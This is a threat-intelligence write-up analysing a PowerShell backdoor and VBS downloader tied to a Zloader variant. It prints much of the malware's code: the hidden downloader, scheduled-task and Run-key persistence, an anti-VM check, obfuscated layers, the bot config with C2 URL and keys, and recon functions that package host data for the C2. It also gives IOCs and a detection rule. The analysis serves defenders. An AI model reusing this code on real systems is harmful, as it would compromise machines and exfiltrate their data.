Unknown powershell backdoor with ties to new Zloader

medium.com/walmartglobaltech/unknown-powershell-backdoor-with-ties-to-new-zloader-88ca51d38850

Jason Reaves July 29, 2024

By: Jason Reaves and Joshua Platt

Recently, while investigating a new variant[1] of Zloader/SilentNight[2], an unknown Powershell backdoor and VBS downloader was uncovered. The malware was potentially utilized alongside the new Zloader variant, which CISA publicly linked to BlackBasta[3]. The Powershell backdoor appears to have been constructed to further access via recon activity and to deploy other malware samples including Zloader.

Technical Details

The initial file we set about analyzing is listed below.

```
Compilation Timestamp 2023-05-30 10:31:14 UTCMD5:
e447362fb2686062a3dfc921c10dd6c7SHA-1: 544599ef72cbd97fe50e4169c8401270ff3b917bSHA-
256: b513c6940ed32766e1ac544fc547b1cb53bc95eced5b5bcc140d7c6dce377afb
```

After analyzing the file, 2 more files were found matching the same characteristics:

```
Compilation Timestamp 2023-05-30 10:31:17 UTC
MD5: 41563d1f34b704728988a53833577076
SHA-1: 72a572ce8247f80946e71f637c3403228543d9a3
SHA-256: 66a69d992a82681ee1d971cc2b810dd4b58c3cfd8b4506b3d62fe1e7421fb90b

Compilation Timestamp 2023–05–29 16:24:50 UTCMD5:
83aa432c43f01541e4f1e2f995940e69SHA-1: 931b6fd3e7ee5631fbc583640805809d9f2acc58SHA-
256: 82f33adfecd67735874cdc9c2bfd27d4b5b904c828d861544c249798a3e65e7e
```

The files are .NET packed by AgilDotNet[4]. After painfully analyzing the initial binary, the backdoor functionality was unpacked and decrypted. An unpacked version of the powershell executor is on VT also:

```
Compilation Timestamp 2023-07-04 21:13:57 UTCMD5: bd76d387b9bf9e30b502e367f035b8db
SHA-1: 67f36d508ab75441975de3e6325b023401a37d44 SHA-256:
1cc0460c2eee5a0a6e80e1f7b7b332726946a9f667c76539d10dfc1cc53c63f6
```

The powershell script includes a hardcoded filename, for example:

```
 $myfilename = "Uninstall_Ahl";
```

If the checks fail, the malware will move itself and uninstall all the previous data. This could make updating the bots relatively easy. If the checks succeed, then it will setup a number of variables in the script:

```
$mymd5 = (Get-FileHash -Path (Get-Process -Id $PID).Path -Algorithm MD5 | Select-
Object -ExpandProperty Hash);$mypath = (Get-Process -Id $PID).Path;$programDataFolder
= Join-Path $env:ProgramData "IncrediBuild";$installpath = Join-Path
$programDataFolder ($myfilename + ".exe");$filevb = Join-Path $programDataFolder
($myfilename + ".vbs");$tsksh = (New-Guid).Guid;
```

The following VB downloader is written to disk alongside the executable file mentioned above. The downloader contains a double base64 encoded URL that is decrypted to reveal the downloader site.

```
 $vbContent = @"
     Set WshShell = CreateObject("WScript.Shell")
     Set objWMIService = GetObject("winmgmts:
{impersonationLevel=impersonate}!\\.\root\cimv2")
     Set cPrs = objWMIService.ExecQuery("Select * from Win32_Process Where Name =
'Uninstall_Ahl.exe'")



     Function bb4(mumu)
         Dim oDecoder, oStream
         Set oDecoder = CreateObject("MSXML2.DOMDocument").createElement("mumu")
         oDecoder.dataType = "bin.base64"
         oDecoder.Text = mumu



         Set oStream = CreateObject("ADODB.Stream")
         oStream.Open
         oStream.Type = 1 'adTypeBinary
         oStream.Write oDecoder.nodeTypedValue
         oStream.Position = 0
         oStream.Type = 2 'adTypeText
         oStream.Charset = "us-ascii"



         bb4 = oStream.ReadText
         oStream.Close
     End Function
     dStr = bb4(bb4("<redacted>"))
     If cPrs.Count = 0 Then
         WshShell.Run dStr, 0, True
     End If

     Set WshShell = Nothing     Set objWMIService = Nothing     Set cPrs = Nothing"@;
```

Afterwards, it executes a hardcoded curl command, which will download and execute files from the encoded URL.

A check is performed if it is already running before performing the above command. Tasks are installed based on a hardcoded name with a random GUID:

```
 $filevb = Join-Path $programDataFolder ($myfilename + ".vbs"); $tsksh = (New-
Guid).Guid;$actionts = New-ScheduledTaskAction -Execute $filevb;$triggerts = New-
ScheduledTaskTrigger -Daily -At 12am;Register-ScheduledTask -Action $actionts -
Trigger $triggerts -TaskName "UpdateTaskMachine{$tsksh}";
```

The script then sets up a run key:

```
$myfilename = "Uninstall_Ahl";$installpath = Join-Path $programDataFolder
($myfilename + ".exe");$regPath =
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run";$regKeyName =
[System.IO.Path]::GetFileNameWithoutExtension($installPath);Set-ItemProperty -Path
$regPath -Name $regKeyName -Value "`"${installPath}`"";
```

Admin check:

```
function CheckAdmin(){$isAdm = "User";if ($null -ne (whoami /groups /fo csv |
ConvertFrom-Csv | Where-Object { $_.SID -eq "S-1-5-32-544" })){              $isAdm
= "Admin"       }return $isAdm}
```

Internet connectivity check:

```
$CheckInternet = DomainIpAddressRecord("google.com");while (!$CheckInternet) {
Start-Sleep -Seconds (600);       }
```

Inside the script resides some heavily obfuscated sections that look very similar to JSF**k[5] but for powershell code. The obfuscated code wrapper appeared to overlap a powershell backdoor spread in May of 2023[6]. We extracted the code blobs and after careful analysis some structure began to appear.

```
 ('@@@'|%  {${]}  =+$()  }{${!}=${]}}  {${%=}=++  ${]}  }  {${(}  =  (  ${]}  =
${]}+${%=})  }  {  ${)./}=(${]}=${]}+${%=}  )}{${+=}=  (  ${]}  =  ${]}  +${%=}  )  }
{${%*.}  =  (  ${]}  =${]}+${%=})}  {  ${*$}  =  (${]}  =${]}  +  ${%=}  )  }{  ${~!
(}  =(  ${]}=${]}  +  ${%=})}{  ${- =}=  (${]}  =  ${]}  +${%=}  )  }  {${[}  =(${]}
=${]}+${%=})  }{${[';}  =  "["+"$(  @{  })"[${~!(}  ]+"$(@{  })"[  "${%=}${[}"]+
"$(@{}  )"["${(}${!}"  ]+  "$?  "[${%=}  ]  +  "]"}{${]}  =  "".("$(  @{  })  "[
...snip... ${[';}${%=}${!}${~!(}+${[';}${%=}${!}${%=}  +${[';}${)./}${(}  +
${[';}${)./}${[}  +  ${[';}${+=}${(}  +  ${[';}${- =}${*$}+
${[';}${%=}${!}${%*.}+${[';}${%=}${%=}${+=}+  ${[';}${%=}${%=}${*$}
+${[';}${%=}${%=}${~!(}  +${[';}${[]}${~!(}  +${[';}${%=}${!}${- =}  +${[';}${+=}${(}+
${[';}${)./}${[}  +  ${[';}${+=}${%=}+  ${[';}${%=}${(}${)./}+  ${[';}${%=}${!}${%=}+
${[';}${%=}${(}${!}  +${[';}${%=}${!}${%*.}+  ${[';}${%=}${%=}${*$}
+${[';}${%=}${(}${%*.})"  |  .  ${]}
```

In reality, there are two things going on. One is the evaluation of the obfuscated data between the | symbols, which contain two main blocks of functionality. The other is for building needed values in order to re-assemble and manipulate the content. After the main block is executed, the result is piped out to '.' for detonation. Modifying the script to replace the evaluation statement allows us to test this:

```
| Write-Output
```

Alternatively, we can also leverage Box-PS[7]. This leads to a much easier obfuscation to get through. As we get into the layers, the first blob of code is an anti VM check:

```
$computerSystem = Get-WmiObject Win32_ComputerSystem;$model =
$computerSystem.Model;if ($model -like '*VirtualBox*' or $model -like '*Virtual*')
{exit}
```

Decoding the rest of the layers we see the bot config:

```
$botnet = "Amazon";$botver = "0.1";$knocktime = 300;$uuid = (Get-CimInstance
Win32_ComputerSystemProduct).UUID;$admin_url =
"hxxps://aerofly.]live/api/v3/";$passkey = "12345678901234567890123456789012";$iv =
"&9*zS7LY%ZN1thfI";$secureKey =
"56e620b9e45120dfd1c534aee0b10c9eb3fc3948e7564cda3313a2ed456706e8"
```

Next block involves the building of the information the bot will send off to the C2 along with response to commands issued:

```
function base64header($myVar) {    try {        $myVariable = @();        $myVariable
+= "BOTID:$env:COMPUTERNAME" + "_" + (Get-CimInstance
Win32_ComputerSystemProduct).UUID.Substring((Get-CimInstance
Win32_ComputerSystemProduct).UUID.Length - 12);        $myVariable += "UUID:" +
$uuid;        $myVariable += "Username:$env:USERNAME";        $myVariable +=
"Botnet:" + $botnet;        $myVariable += "Version:" + $botver;        $myVariable
+= "FileName:" + (Get-Process -Id $PID).Name;        $myVariable += "URL:" + $script:
url;        $myVariable += "MD5:" + (Get-FileHash -Path(Get-Process -Id $PID).Path -
Algorithm MD5 | Select-Object -ExpandProperty Hash);        $myVariable += $myVar;
$myVariableString = $myVariable | Out-String;        $bytes =
[System.Text.Encoding]::UTF8.GetBytes($myVariableString);        $base64EncodedString
= [System.Convert]::ToBase64String($bytes);        $TempData = @ {
"infohead" = (Get-CimInstance Win32_ComputerSystemProduct).UUID;            "data64"
= $base64EncodedString;        } | ConvertTo - Json;        return EncryptString
$TempData;    } catch {        Write - Host "Error in base64header";        return
$null;    }}
```

Encryption mentioned here is performed using AES in CBC mode:

```
Function DecryptString {    Param([string] $encryptedStr) try {        $enc =
[System.Text.Encoding]::UTF8;        $AES = New - Object
System.Security.Cryptography.AESManaged;        $AES.Mode = [System.Sec
urity.Cryptography.CipherMode        ]::CBC;        $AES.BlockSize = 128;
$AES.KeySize = 256;        $AES.IV = $e
```

The below function performs recon, gathers additional machine information and encodes all the data that will be sent to the C2 during its initial run:

```
function PCInfoBytes() {    $myVariable = @();    $myVariable +=
"BOTID:$env:COMPUTERNAME" + "_" + (Get-CimInstance
Win32_ComputerSystemProduct).UUID.Substring((Get-CimInstance
Win32_ComputerSystemProduct).UUID.Length - 12);    $myVariable +=
"Hostname:$env:COMPUTERNAME";    $myVariable += "UUID:" + (Get-CimInstance
Win32_ComputerSystemProduct).UUID;    $myVariable += "Botnet:" + "$botnet";
$myVariable += "Version:" + "0.1";    $myVariable += "FileName:" + (Get-Process -Id
$PID).Name;    $myVariable += "UserType:" + (CheckAdmin);    $myVariable +=
"AntiVirus:" + (Get-WmiObject -Namespace "root\\SecurityCenter2" - Class
"AntivirusProduct" | Select-Object -ExpandProperty displayName);    $myVariable +=
"OS:" + (Get-WmiObject -class Win32_OperatingSystem).Caption;    $myVariable +=
"CPU:" + (Get-WmiObject -Class Win32_Processor).Name;    $myVariable += "Cores:" +
(Get-WmiObject -Class Win32_Processor).NumberOfCores;    $myVariable += "RAM:" +
[Math]::Round((Get-WmiObject -Class Win32_ComputerSystem).TotalPhysicalMemory / 1 GB,
0).ToString() + "GB";    $myVariable += "Video:" + (Get-WmiObject
Win32_VideoController).Caption;    $myVariable += "Monitors:" + (Get-WmiObject
WmiMonitorID -Namespace root\\ wmi -ErrorAction SilentlyContinue).Count;
$myVariable += "URL:" + $script: url;    $myVariable += "MD5:" + (Get-FileHash -
Path(Get-Process -Id $PID).Path -Algorithm MD5 | Select-Object -ExpandProperty Hash);
$myVariable += get-wmiobject Win32_ComputerSystem;    $myVariable += get-wmiobject
Win32_BIOS;    $myVariable += ipconfig /all;    $myVariable += net config
workstation;    $myVariable += net view /all;    $myVariable += net view /all
/domain;    $myVariable += nltest /domain_trusts;    $myVariable += nltest
/domain_trusts /all_trusts;    $myVariable += "`n";    $myVariable += "Installed
Programs`n--------------------------------------------------------------------------";
$myVariable += Get-Package | Where-Object {        $_.ProviderName -ne "msu"    } |
Select-Object Name, Version | Sort-Object Name | Out-String;    $myVariable += Get-
Hotfix | Select-Object HotFixID, InstalledOn | Out-String;    $myVariableString =
$myVariable | Out-String;    $bytes =
[System.Text.Encoding]::UTF8.GetBytes($myVariableString);    $base64EncodedString =
[System.Convert]::ToBase64String($bytes);    $TempData = @ {        "infohead" =
(Get-CimInstance Win32_ComputerSystemProduct).UUID;        "data64" =
$base64EncodedString;    } | ConvertTo-Json;    return EncryptString $TempData;}
```

INDICATOR OF COMPROMISE (IOCs)

```
SHA-256: 66a69d992a82681ee1d971cc2b810dd4b58c3cfd8b4506b3d62fe1e7421fb90bSHA-256:
b513c6940ed32766e1ac544fc547b1cb53bc95eced5b5bcc140d7c6dce377afbSHA-256:
82f33adfecd67735874cdc9c2bfd27d4b5b904c828d861544c249798a3e65e7eSHA-256:
1cc0460c2eee5a0a6e80e1f7b7b332726946a9f667c76539d10dfc1cc53c63f6

msfw[.storemamore[.livejesko[.livedison[.livewesco[.livemafw[.storemfsc.]liveaerofly.]

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"PshellBkdr C2 traffic known
Bearer"; content:"POST"; http_method; content:"Authorization|3a 20|Bearer
56e620b9e45120dfd1c534aee0b10c9eb3fc3948e7564cda3313a2ed456706e8"; http_header;
classtype:trojan-activity; sid:9000071; rev:1; metadata:author Jason Reaves;)
```

References

[1] https://www.zscaler.com/blogs/security-research/zloader-no-longer-silent-night

[2] https://www.deepwatch.com/blog/guess-whos-back-zloaders-back-back-again/

[3] https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-131a

[4] https://secureteam.net/acode-features-detailed

[5] https://jsf**k.com/

[6] https://cert.pl/en/posts/2023/05/powerdash-malspam/

[7] https://github.com/ConnorShride/box-ps